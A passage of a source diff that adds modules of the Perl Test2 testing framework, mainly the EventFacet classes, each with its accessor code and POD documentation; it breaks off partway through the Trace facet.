+These are all imported from L<Test2::Util::Facets2Legacy>, see that module or
+L<Test2::Event> for documentation on what they do.
+
+=over 4
+
+=item causes_fail
+
+=item diagnostics
+
+=item global
+
+=item increments_count
+
+=item no_display
+
+=item sets_plan
+
+=item subtest_id
+
+=item summary
+
+=item terminate
+
+=back
+
+=head1 THIRD PARTY META-DATA
+
+This object consumes L<Test2::Util::ExternalMeta> which provides a consistent
+way for you to attach meta-data to instances of this class. This is useful for
+tools, plugins, and other extensions.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Waiting.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Waiting.pm
new file mode 100644
index 00000000000..58b583fd5ea
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Event/Waiting.pm
@@ -0,0 +1,76 @@
+package Test2::Event::Waiting;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
+use Test2::Util::HashBase;
+
+sub global { 1 };
+
+sub summary { "IPC is waiting for children to finish..." }
+
+sub facet_data {
+ my $self = shift;
+
+ my $out = $self->common_facet_data;
+
+ push @{$out->{info}} => {
+ tag => 'INFO',
+ debug => 0,
+ details => $self->summary,
+ };
+
+ return $out;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Event::Waiting - Tell all procs/threads it is time to be done
+
+=head1 DESCRIPTION
+
+This event has no data of its own. This event is sent out by the IPC system
+when the main process/thread is ready to end.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet.pm
new file mode 100644
index 00000000000..619d369120c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet.pm
@@ -0,0 +1,93 @@
+package Test2::EventFacet;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Test2::Util::HashBase qw/-details/;
+use Carp qw/croak/;
+
+my $SUBLEN = length(__PACKAGE__ . '::');
+sub facet_key {
+ my $key = ref($_[0]) || $_[0];
+ substr($key, 0, $SUBLEN, '');
+ return lc($key);
+}
+
+sub is_list { 0 }
+
+sub clone {
+ my $self = shift;
+ my $type = ref($self);
+ return bless {%$self, @_}, $type;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet - Base class for all event facets.
+
+=head1 DESCRIPTION
+
+Base class for all event facets.
+
+=head1 METHODS
+
+=over 4
+
+=item $key = $facet_class->facet_key()
+
+This will return the key for the facet in the facet data hash.
+
+=item $bool = $facet_class->is_list()
+
+This will return true if the facet should be in a list instead of a single
+item.
+
+=item $clone = $facet->clone()
+
+=item $clone = $facet->clone(%replace)
+
+This will make a shallow clone of the facet. You may specify fields to override
+as arguments.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/About.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/About.pm
new file mode 100644
index 00000000000..fe1d30eca05
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/About.pm
@@ -0,0 +1,86 @@
+package Test2::EventFacet::About;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -package -no_display -uuid };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::About - Facet with event details.
+
+=head1 DESCRIPTION
+
+This facet has information about the event, such as event package.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $about->{details}
+
+=item $string = $about->details()
+
+Summary about the event.
+
+=item $package = $about->{package}
+
+=item $package = $about->package()
+
+Event package name.
+
+=item $bool = $about->{no_display}
+
+=item $bool = $about->no_display()
+
+True if the event should be skipped by formatters.
+
+=item $uuid = $about->{uuid}
+
+=item $uuid = $about->uuid()
+
+Will be set to a uuid if uuid tagging was enabled.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
new file mode 100644
index 00000000000..9ef227f1669
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
@@ -0,0 +1,91 @@
+package Test2::EventFacet::Amnesty;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -tag -inherited };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Amnesty - Facet for assertion amnesty.
+
+=head1 DESCRIPTION
+
+This package represents what is expected in units of amnesty.
+
+=head1 NOTES
+
+This facet appears in a list instead of being a single item.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $amnesty->{details}
+
+=item $string = $amnesty->details()
+
+Human readable explanation of why amnesty was granted.
+
+Example: I<Not implemented yet, will fix>
+
+=item $short_string = $amnesty->{tag}
+
+=item $short_string = $amnesty->tag()
+
+Short string (usually 10 characters or less, not enforced, but may be truncated
+by renderers) categorizing the amnesty.
+
+=item $bool = $amnesty->{inherited}
+
+=item $bool = $amnesty->inherited()
+
+This will be true if the amnesty was granted to a parent event and inherited by
+this event, which is a child, such as an assertion within a subtest that is
+marked todo.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
new file mode 100644
index 00000000000..090860aa0bb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
@@ -0,0 +1,93 @@
+package Test2::EventFacet::Assert;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -pass -no_debug -number };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Assert - Facet representing an assertion.
+
+=head1 DESCRIPTION
+
+The assertion facet is provided by any event representing an assertion that was
+made.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $assert->{details}
+
+=item $string = $assert->details()
+
+Human readable description of the assertion.
+
+=item $bool = $assert->{pass}
+
+=item $bool = $assert->pass()
+
+True if the assertion passed.
+
+=item $bool = $assert->{no_debug}
+
+=item $bool = $assert->no_debug()
+
+Set this to true if you have provided custom diagnostics and do not want the
+defaults to be displayed.
+
+=item $int = $assert->{number}
+
+=item $int = $assert->number()
+
+(Optional) assertion number. This may be omitted or ignored. This is usually
+only useful when parsing/processing TAP.
+
+B<Note>: This is not set by the Test2 system, assertion number is not known
+until AFTER the assertion has been processed. This attribute is part of the
+spec only for harnesses.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
new file mode 100644
index 00000000000..b52718df557
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
@@ -0,0 +1,100 @@
+package Test2::EventFacet::Control;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -global -terminate -halt -has_callback -encoding };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Control - Facet for hub actions and behaviors.
+
+=head1 DESCRIPTION
+
+This facet is used when the event needs to give instructions to the Test2
+internals.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $control->{details}
+
+=item $string = $control->details()
+
+Human readable explanation for the special behavior.
+
+=item $bool = $control->{global}
+
+=item $bool = $control->global()
+
+True if the event is global in nature and should be seen by all hubs.
+
+=item $exit = $control->{terminate}
+
+=item $exit = $control->terminate()
+
+Defined if the test should immediately exit, the value is the exit code and may
+be C<0>.
+
+=item $bool = $control->{halt}
+
+=item $bool = $control->halt()
+
+True if all testing should be halted immediately.
+
+=item $bool = $control->{has_callback}
+
+=item $bool = $control->has_callback()
+
+True if the C<callback($hub)> method on the event should be called.
+
+=item $encoding = $control->{encoding}
+
+=item $encoding = $control->encoding()
+
+This can be used to change the encoding from this event onward.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
new file mode 100644
index 00000000000..306dc310d88
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
@@ -0,0 +1,93 @@
+package Test2::EventFacet::Error;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub facet_key { 'errors' }
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -tag -fail };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Error - Facet for errors that need to be shown.
+
+=head1 DESCRIPTION
+
+This facet is used when an event needs to convey errors.
+
+=head1 NOTES
+
+This facet has the hash key C<'errors'>, and is a list of facets instead of a
+single item.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $error->{details}
+
+=item $string = $error->details()
+
+Explanation of the error, or the error itself (such as an exception). In perl
+exceptions may be blessed objects, so this field may contain a blessed object.
+
+=item $short_string = $error->{tag}
+
+=item $short_string = $error->tag()
+
+Short tag to categorize the error. This is usually 10 characters or less,
+formatters may truncate longer tags.
+
+=item $bool = $error->{fail}
+
+=item $bool = $error->fail()
+
+Not all errors are fatal, some are displayed having already been handled. Set
+this to true if you want the error to cause the test to fail. Without this the
+error is simply a diagnostics message that has no effect on the overall
+pass/fail result.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
new file mode 100644
index 00000000000..03c55530544
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
@@ -0,0 +1,109 @@
+package Test2::EventFacet::Hub;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+sub facet_key { 'hubs' }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{-pid -tid -hid -nested -buffered -uuid -ipc};
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Hub
+
+=head1 DESCRIPTION
+
+These are a record of the hubs an event passes through. Most recent hub is the
+first one in the list.
+
+=head1 FACET FIELDS
+
+=over 4
+
+=item $string = $trace->{details}
+
+=item $string = $trace->details()
+
+The hub class or subclass
+
+=item $int = $trace->{pid}
+
+=item $int = $trace->pid()
+
+PID of the hub this event was sent to.
+
+=item $int = $trace->{tid}
+
+=item $int = $trace->tid()
+
+The thread ID of the hub the event was sent to.
+
+=item $hid = $trace->{hid}
+
+=item $hid = $trace->hid()
+
+The ID of the hub that the event was send to.
+
+=item $huuid = $trace->{huuid}
+
+=item $huuid = $trace->huuid()
+
+The UUID of the hub that the event was sent to.
+
+=item $int = $trace->{nested}
+
+=item $int = $trace->nested()
+
+How deeply nested the hub was.
+
+=item $bool = $trace->{buffered}
+
+=item $bool = $trace->buffered()
+
+True if the event was buffered and not sent to the formatter independent of a
+parent (This should never be set when nested is C<0> or C<undef>).
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
new file mode 100644
index 00000000000..805cab1ba97
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
@@ -0,0 +1,102 @@
+package Test2::EventFacet::Info;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{-tag -debug -important};
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Info - Facet for information a developer might care about.
+
+=head1 DESCRIPTION
+
+This facet represents messages intended for humans that will help them either
+understand a result, or diagnose a failure.
+
+=head1 NOTES
+
+This facet appears in a list instead of being a single item.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string_or_structure = $info->{details}
+
+=item $string_or_structure = $info->details()
+
+Human readable string or data structure, this is the information to display.
+Formatters are free to render the structures however they please. This may
+contain a blessed object.
+
+=item $short_string = $info->{tag}
+
+=item $short_string = $info->tag()
+
+Short tag to categorize the info. This is usually 10 characters or less,
+formatters may truncate longer tags.
+
+=item $bool = $info->{debug}
+
+=item $bool = $info->debug()
+
+Set this to true if the message is critical, or explains a failure. This is
+info that should be displayed by formatters even in less-verbose modes.
+
+When false the information is not considered critical and may not be rendered
+in less-verbose modes.
+
+=item $bool = $info->{important}
+
+=item $bool = $info->important
+
+This should be set for non debug messages that are still important enough to
+show when a formatter is in quiet mode. A formatter should send these to STDOUT
+not STDERR, but should show them even in non-verbose mode.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
new file mode 100644
index 00000000000..31a4e0c1f8d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
@@ -0,0 +1,104 @@
+package Test2::EventFacet::Meta;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use vars qw/$AUTOLOAD/;
+
+# replace set_details
+{
+ no warnings 'redefine';
+ sub set_details { $_[0]->{'set_details'} }
+}
+
+sub can {
+ my $self = shift;
+ my ($name) = @_;
+
+ my $existing = $self->SUPER::can($name);
+ return $existing if $existing;
+
+ # Only vivify when called on an instance, do not vivify for a class. There
+ # are a lot of magic class methods used in things like serialization (or
+ # the forks.pm module) which cause problems when vivified.
+ return undef unless ref($self);
+
+ my $sub = sub { $_[0]->{$name} };
+ {
+ no strict 'refs';
+ *$name = $sub;
+ }
+
+ return $sub;
+}
+
+sub AUTOLOAD {
+ my $name = $AUTOLOAD;
+ $name =~ s/^.*:://g;
+ my $sub = $_[0]->can($name);
+ goto &$sub;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Meta - Facet for meta-data
+
+=head1 DESCRIPTION
+
+This facet can contain any random meta-data that has been attached to the
+event.
+
+=head1 METHODS AND FIELDS
+
+Any/all fields and accessors are autovivified into existence. There is no way
+to know what metadata may be added, so any is allowed.
+
+=over 4
+
+=item $anything = $meta->{anything}
+
+=item $anything = $meta->anything()
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
new file mode 100644
index 00000000000..baf66e99a67
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
@@ -0,0 +1,98 @@
+package Test2::EventFacet::Parent;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Carp qw/confess/;
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -hid -children -buffered };
+
+sub init {
+ confess "Attribute 'hid' must be set"
+ unless defined $_[0]->{+HID};
+
+ $_[0]->{+CHILDREN} ||= [];
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Parent - Base class for all event facets.
+
+=head1 DESCRIPTION
+
+This facet is used when an event contains other events, such as a subtest.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $parent->{details}
+
+=item $string = $parent->details()
+
+Human readable description of the event.
+
+=item $hid = $parent->{hid}
+
+=item $hid = $parent->hid()
+
+Hub ID of the hub that is represented in the parent-child relationship.
+
+=item $arrayref = $parent->{children}
+
+=item $arrayref = $parent->children()
+
+Arrayref containing the facet-data hashes of events nested under this one.
+
+I<To get the actual events you need to get them from the parent event directly>
+
+=item $bool = $parent->{buffered}
+
+=item $bool = $parent->buffered()
+
+True if the subtest is buffered (meaning the formatter has probably not seen
+them yet).
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
new file mode 100644
index 00000000000..3789bcb5c91
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
@@ -0,0 +1,94 @@
+package Test2::EventFacet::Plan;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -count -skip -none };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Plan - Facet for setting the plan
+
+=head1 DESCRIPTION
+
+Events use this facet when they need to set the plan.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $plan->{details}
+
+=item $string = $plan->details()
+
+Human readable explanation for the plan being set. This is normally not
+rendered by most formatters except when the C<skip> field is also set.
+
+=item $positive_int = $plan->{count}
+
+=item $positive_int = $plan->count()
+
+Set the number of expected assertions. This should usually be set to C<0> when
+C<skip> or C<none> are also set.
+
+=item $bool = $plan->{skip}
+
+=item $bool = $plan->skip()
+
+When true the entire test should be skipped. This is usually paired with an
+explanation in the C<details> field, and a C<control> facet that has
+C<terminate> set to C<0>.
+
+=item $bool = $plan->{none}
+
+=item $bool = $plan->none()
+
+This is mainly used by legacy L<Test::Builder> tests which set the plan to C<no
+plan>, a construct that predates the much better C<done_testing()>.
+
+If you are using this in non-legacy code you may need to reconsider the course
+of your life, maybe a hermitage would suite you?
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
new file mode 100644
index 00000000000..709a9f61823
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
@@ -0,0 +1,106 @@
+package Test2::EventFacet::Render;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+sub is_list { 1 }
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+use Test2::Util::HashBase qw{ -tag -facet -mode };
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Render - Facet that dictates how to render an event.
+
+=head1 DESCRIPTION
+
+This facet is used to dictate how the event should be rendered by the standard
+test2 rendering tools. If this facet is present then ONLY what is specified by
+it will be rendered. It is assumed that anything important or note-worthy will
+be present here, no other facets will be considered for rendering/display.
+
+This facet is a list type, you can add as many items as needed.
+
+=head1 FIELDS
+
+=over 4
+
+=item $string = $render->[#]->{details}
+
+=item $string = $render->[#]->details()
+
+Human readable text for display.
+
+=item $string = $render->[#]->{tag}
+
+=item $string = $render->[#]->tag()
+
+Tag that should prefix/identify the main text.
+
+=item $string = $render->[#]->{facet}
+
+=item $string = $render->[#]->facet()
+
+Optional, if the display text was generated from another facet this should
+state what facet it was.
+
+=item $mode = $render->[#]->mode{}
+
+=item $mode = $render->[#]->mode()
+
+=over 4
+
+=item calculated
+
+Calculated means the facet was generated from another facet. Calculated facets
+may be cleared and regenerated whenever the event state changes.
+
+=item replace
+
+Replace means the facet is intended to replace the normal rendering of the
+event.
+
+=back
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
new file mode 100644
index 00000000000..280258c6aa5
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
@@ -0,0 +1,280 @@
+package Test2::EventFacet::Trace;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
+
+use Test2::Util qw/get_tid pkg_to_file/;
+use Carp qw/confess/;
+
+use Test2::Util::HashBase qw{^frame ^pid ^tid ^cid -hid -nested details -buffered -uuid -huuid};
+
+{
+ no warnings 'once';
+ *DETAIL = \&DETAILS;
+ *detail = \&details;
+ *set_detail = \&set_details;
+}
+
+sub init {
+ confess "The 'frame' attribute is required"
+ unless $_[0]->{+FRAME};
+
